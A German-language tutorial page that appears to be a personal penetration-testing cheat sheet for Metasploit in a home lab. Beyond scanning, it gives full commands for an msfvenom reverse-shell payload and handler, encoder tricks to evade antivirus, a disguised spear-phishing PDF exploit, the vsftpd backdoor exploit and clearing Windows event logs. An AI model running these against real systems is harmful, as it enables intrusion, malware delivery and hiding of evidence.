| FOTO | AUTO | EDV | AUDIO |

Metasploit (msf)

Das Metasploit Framework
Link: https://www.metasploit.com/
Metasploit ist Bestandteil der meisten Pen-Distros (zB Parrot)

Einrichten

systemctl start postgresql     # Datenbank starten
systemctl enable postgresql    # Autostart der DB
msfdb init                     # Initiierung
msfconsole                     # msf Konsole starten
db_status                      # DB abfragen
workspace -a Lab               # Workspace "Lab" anlegen
workspace                      # Workspaces listen
workspace -h                   # Zeigt die Hilfe für workspace

Backup

db_export -f xml /root/msfdb_backup     # erstellt ein db-Backup

Footprinting

Das Footprintign bildet die Vorbereitung jedes Enemeration-Tests. Es setzt sich zusammen aus:

Ermitteln der Test-Methode

BlackboxKeine Informationen über die zu testende Umgebung
GreyboxTeilweise oder unvollständige Informationen
WhiteboxVollständige Information, auch mit den nötigen Zugänge

Erste Informationen sammeln

Dies können sein:

  • Firmenname und andere Umgebungsinformationen sammeln
  • Beschriftungen an Servern, Geräten usw beachten
  • Social Hacking. Mit den Mitarbeitern sprechen/zuhören

Reconnaissance / Scanning

  • Durchführen einfacher Scans, wie ping- Port- Versions- Scanning
  • Zusammenstellen und Verwenden der für den Auftrag nötigen Tools
  • Import von Daten anderer Werkzeuge wie Nessus oder GVM
  • Metasploit Workspaces separieren und Daten konvertieren

Einen Scan Starten

Erster Scan mit nmap

nmap -p- -A -oX 192.168.178.34.xml 192.168.178.34    # Full Scan einer IP, Ausgabe in XML-Datei

In der Praxis ist es sinnvoll **.0/24 zu verwenden um ein komplettes C-Class NW zu analysieren.

MSF starten

msfconsole                     # startet msf
workspace                      # Zeigt vorhandene Workspaces
workspace -a Lab               # erstellt neuen Workspace "Lab"
workspace Lab                  # In Workspace wechseln
show                           # Listet alle Module
show auxiliary                 # Zeigt Module einer Kategorie
search scanner                 # Sucht alle Scanningmodule

nmap xml importieren

workspace -a nmap              # Workspace anlegen
workspace nmap                 # zu Workspace wechseln
db_import 192.168.178.34.xml   # xml aus nmap importieren

nmap direkt in MSF verwenden

db_nmap -p- -T4 -A -v 192.168.178.0/24       # Full nmap-Scan, das Ergebnis wird im aktiven Workspace gespeichert
db_nmap -sU -p161 192.168.178.0/24 --open    # SNMP-Agent Scan

Scandaten verwenden

hosts                          # Anzeige der Hosts in der DB 
services                       # Zeigt gefundene Dienste in der DB
vulns                          # Vulnerabilities Scan der vorhandenen Daten

Ein Modul verwenden

ls /usr/share/metasploit-framework/modules/  # Liste der vorhandenen Modulgruppen
show auxiliary                               # Liste aller Module der Gruppe Auxiliary
search scanner ssh                           # Sucht nach "scanner" und "ssh"

Die Liste ergibt die Gruppen: auxiliary encoders evasion exploits nops payloads post
Als Beispiel verwenden wir das Modul „ssh_version“ zur Bestimmung der SSH-Version

use auxiliary/scanner/ssh/ssh_version   # Ein Modul zur Verwendung laden (info options)
  info                                  # Zeigt Informationen
  show options                          # Zeigt alle Optionen
  set rhosts <Ziel-IP>                  # Ziel setzten 
  run                                   # Start
  hosts                                 # Zeigt gefundene Hosts in der DB
  services                              # Zeigt gefundene Dienste in der DB

Hint: search ssh_version sucht nach dem Modul und nummeriert das Ergebnis → hier hat es die Nummer 3. Jetzt kann ich das Modul mit der Nummer ansprechen:

info 3 
use 3
Hilfreiche Module

Portscanner

  • auxiliary/scanner/portscan/udp_sweep
  • auxiliary/scanner/portscan/xmas

FTP Scanner

  • auxiliary/scanner/ftp/ftp_version
  • auxiliary/scanner/ftp/anonymous
  • auxiliary/scanner/ftp/ftp_login # Benötigt eine Passwortliste

SSH Scanner

  • auxiliary/scanner/ssh/ssh_version
  • auxiliary/scanner/ssh/ssh_enumusers # Options: USERNAME=root oder USER_FILE
  • auxiliary/scanner/ssh/detect_kippo # Erkennt Honneypods

DNS Scanner

  • auxiliary/gather/enum_dns # set DOMAIN fritz.box

WMAP Scanner

Eine Sammlung von Modulen um einen Webservice auf Schwachstellen zu scanen

load wmap
wmap_sites -a http://192.168.178.3                   # Site hinzufügen
wmap_targets -t http://192.168.178.3/index.php       # Zielseite hinzufügen
wmap_run -t                                          # Module werden vorbereitet
wmap_run -e                                          # Startet den Scan
wmap_vulns -l                                        # Schwachstellen auflisten

Sploits suchen

searchsploit Local Priv | wc -l            # Zeigt Menge an gefundenen Treffer zu "Local Priv" Sploits   
searchsploit Local Priv |grep -i ubuntu    # Schränkt die Suche um Treffer mit "ubuntu" ein

GVM Scans importieren

  • Scan als xml aus GVM exportieren
  • db_import /vollständiger/pfad/zur/scan.xml # xml in msf in den aktuellen Workspace importieren

Achtung: die IP der Ziele muss kontrolliert werden. Wird 127.0.0.1 statt der richtigen IP im xml angezeigt, kann die 127.0.0.1 vor dem Import mit sed durch die echte IP ersetzt werden

Nessus Scans importieren

  • Scan als „nessus“ exportieren
  • db_import /vollständiger/pfad/zur/My_Basic_Nessus_Scan.nessus

Schwachstellenanalyse

Die meisten Scanner liefern zu einer erkannten Schwachstelle die CVE-Nummer mit. Beispiel:

SSL Medium Strength Cipher Suites   CVE-2016-2183

Eine Suche nach CVE-2016-2183 ergibt: https://enginsight.com/de/blog/cve-2016-2183-sweet32/

Zugriff auf Systeme

Begriffe Siehe: Grundlagen

payload Der Teil des Exploit der die Aktion ausführt
encoder verändert den Binärcode um ein payload zu verstecken
Reverse Shell Auf dem Ziel wird ein Payload ausgeführt welches das System anweist eine Shell zum Angreifer zu öffnen
Handler Eine Funktion auf dem Angreifer der Sessions (zB ssh) automatisch entgegen nimmt
meterpreter Eine Kosole auf dem Angreifer in der die Sessions verwaltet werden können

msfvenom

msfvenom --list payload         # Liste der verfügbaren payloads
msfvenom --list encoder         # Liste der Encoder
payload erstellen
  • Architektur = x86 (IBM kompatible CPU)
  • OS = Windows
  • payload = reverse_tcp
  • Zielhost = Parrot (mit IP)
  • encoder = shikata_ga_nai (gute Wahl)
  • Ausgabeformat= exe
  • Name = /root/ms17-01.exe
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.178.37 LPORT=4443 -e x86/shikata_ga_nai -f exe -o /root/ms17-01.exe

Die erstellte *.exe auf den Windows-PC kopieren und ausführen

Handler starten
msfconsole
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4443
set LHOST 192.168.178.37
show options
exploit

Wird das payload gestartet, startet der Server eine Verbindung zum Handler. Die reverse-Shell steht. Damit kann der Server ferngesteuert werden

Weitere Beispiele: msfvenom

Anti Maleware Evasion

Encoder

Wir versuchen ein payload bei aktivem Anti-Virus/Malware Schutz zu etablieren. Um vorab testen zu können ob ein Hack unerkannt bleibt kann er unter Virustotal gestestet werden.

Zuerst suchen wir einen geeigneten encoder

msfvenom --list encoder

Der shikata_ga_nai ist zwar sehr gut aber zu bekannt um noch unentdeckt zu bleiben. Welcher Encoder der beste ist muss getestet werden da es von der Sicherheitsstruktur der Zielsysteme abhängig ist. Für unser Beispiel wähle ich opt_sub.
Dazu erhöhen wir die Iterationen des encoder auf 5 Durchgänge mit -i 5

└──╼ $msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.178.37 LPORT=4443 -e x86/opt_sub -i 5 -f exe -o /root/ms17-02.exe

Virustotal listet 36 von 67 Anti-Malware Programme die den Payload erkennn. Aber 31 Scanner würden den Hack nicht erkennen.

setoolkit

… muss als root ausgeführt werden. Wir starten mit einer Social-Engineering Attacks und bestätigen mit 1 Select from the menu:

   1) Social-Engineering Attacks
   2) Penetration Testing (Fast-Track)
   3) Third Party Modules
   4) Update the Social-Engineer Toolkit
   5) Update SET configuration
   6) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

Die Art der Attacke soll Spear-Phishing Attack Vectors sein

 Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) Wireless Access Point Attack Vector
   8) QRCode Generator Attack Vector
   9) Powershell Attack Vectors
  10) Third Party Modules

  99) Return back to the main menu.

Wir wollen ein PDF erstellen und wählen Create a FileFormat Payload

   1) Perform a Mass Email Attack
   2) Create a FileFormat Payload
   3) Create a Social-Engineering Template

Als Dateiformat wähle ich „14“ → Adobe util.printf() Buffer Overflow
Das Payload wird jetzt definiert: „1“ → Windows Reverse TCP Shell und die weiteren eingaben getätigt:

  • Localhost = IP zu der die Session gesendet werden soll (üblicherweise meine IP)
  • Port = 443

Nach Erstellung der Datei kann ich sie gleich umbenennen → Endung nicht vergessen! zB Anleitung.pdf
Die Datei ist im Ordner /root/.set/ abgelegt.

ExifTool

Um ein Payload in einem Bild zu verstekchen verwenden wir ExifTool.
Zur Vorbereitung benötigen wir ein beliebiges Bild zB: flower.jpg.
Metadaten des Bildes anschauen

exiftool flower.jpg

Payload einbinden

Exploits erweitern

Hat ein Vulnability-Scan erkannt das eine Sicherheitslücke besteht, wie zB „Microsoft Windows - SMB Remote Code Execution Scanner (MS17-010)“ kann nach einem Exploit genau zu dieser Schwachstelle gesucht werden. Eine gute Seite neue Exploits zu erhalten ist https://www.exploit-db.com/
Eine elegante Methode ist searchsploit. Es muss in Parrot nachinstalliert werden:

git clone https://github.com/offensive-security/exploitdb.git /opt/exploitdb
 ln -sf /opt/exploitdb/searchsploit /usr/local/bin/searchsploit
 searchsploit -l

Mit searchsploit ein exploit zu suchen

searchsploit smb windows -w -t | grep MS17-010    # sucht ein smb exploit für Windows OS und filtert nach MS17-010
searchsploit MS17-010 windows -w -t               # gleiches Ergebnis

Hinter dem Ergebnis kann die URL kopiert und in einem Browser verwendet werden oder Download mit wget:

wget -o 41891.rb https://www.exploit-db.com/download/41891   # Wobei 41891 die Nummer in der Ergebnis-URL ist

Bei wget muss die Datei mit -o umbenannt werden, da die Endung *.ru für Ruby fehlt.
Di e*.rb in den richtigen Ordner verschieben (es ist ein Windows/smb Modul)

mv /root/41891.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/

Neues Modul laden

msfconsole                                        # Konsole starten 
reload_all                                        # Alle Module neu laden (übernimmt neue Module)
use exploit/windows/smb/41891                     # Neues Modul verwenden 

Ein Exploit verwenden

Wi rjaben im Scan erkannt das vsftp läuft. Diesen Dienst wollen wir kompromitieren.

msfconsole                                        # Konsole starten
search vsftp                                      # Nach vsftp-Exploits suchen (vsftpd_234_backdoor gefunden)
use exploit/unix/ftp/vsftpd_234_backdoor          # Exploit verwenden
show info                                         # Zeigt Infos über das Exploit
show options                                      # Zeigt nötige und optionale Eingaben
set RHOSTS <Ziel-IP>                              # IP des Zielsystems
exploit                                           # ausführen

Wenn die Schwachstelle existiert wird eine rootshell zum Zielsystem aufgebaut.

Spuren verwischen

Bei einer aktiven meterpreter-Session:

help                                              # Zeigt die meterpreter-Hilfe
clearev                                           # Automatisches Löschen der Eventlogs eines Windows-Servers

Armitage

Armitage ist die GUI für Metasploit. Sie wird auf der Shell aufgerufen mit

armitage

Es eht ein Fenster mit der Anwendung auf. Achtung: Armitage ist im Netz sehr laut. Die Gefahr entdeckt zu werden ist nahezu unausweichlich.

Weitere Infos